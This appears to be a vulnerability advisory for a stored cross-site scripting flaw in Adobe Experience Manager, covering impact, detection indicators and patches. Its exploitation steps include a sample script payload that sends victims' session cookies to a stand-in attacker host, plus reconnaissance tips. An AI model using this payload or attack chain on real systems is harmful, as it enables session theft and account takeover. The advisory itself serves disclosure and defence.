CVE-2025-64817: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64817 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises), AEM Cloud Service versions prior to 2025.12.0, and AEM 6.5 LTS. The vulnerability was published on December 9, 2025, and patched the same day. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). A low-privileged, network-accessible attacker can inject malicious JavaScript into vulnerable form fields within AEM; the payload is stored server-side and executes in a victim's browser when they navigate to the page containing the affected field. Exploitation requires user interaction (a victim browsing to the compromised page) and low privileges on the AEM instance, with a changed scope indicating the impact crosses the security boundary into the victim's browser context (Adobe Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session on the AEM instance, potentially leading to session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, or further phishing attacks. The confidentiality and integrity of data accessible to the victim's session are at risk, though availability is not directly impacted. The changed scope means the impact extends beyond the attacker's privilege level to affect other users of the platform (Adobe Advisory).

1. Reconnaissance: Identify AEM instances running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using web fingerprinting tools or Shodan searches for AEM-specific paths (e.g., /libs/granite/core/content/login.html).
2. Obtain low-privileged access: Register or obtain credentials for a low-privileged AEM user account (e.g., a contributor or author role).
3. Locate vulnerable form fields: Navigate to AEM pages or components that accept and store user-supplied input in form fields without adequate output encoding.
4. Inject XSS payload: Submit a malicious JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save/publish the content.
5. Trigger victim execution: Lure a higher-privileged user (e.g., an AEM administrator or editor) to browse to the page containing the injected payload, causing the script to execute in their browser and exfiltrate session cookies or perform actions on their behalf (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /editor.html/) from low-privileged accounts containing HTML/JavaScript tags or encoded script sequences in request bodies.
• File System: Unexpected or modified AEM content nodes containing <script> tags or JavaScript event handlers (e.g., onerror, onload) in stored page properties or form field values.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM-hosted pages, potentially carrying session cookie data in query parameters.
• Logs: AEM error logs or browser console errors related to Content Security Policy (CSP) violations triggered by injected inline scripts.

Adobe has released patches addressing CVE-2025-64817 in AEM 6.5 Service Pack 6.5.24.0 (for on-premises deployments) and AEM Cloud Service release 2025.12.0. Organizations should update to these versions immediately. As a general workaround prior to patching, restricting authoring access to trusted users and enforcing a strict Content Security Policy (CSP) can reduce the risk of XSS exploitation. No specific configuration-only workaround has been published by Adobe (Adobe Advisory).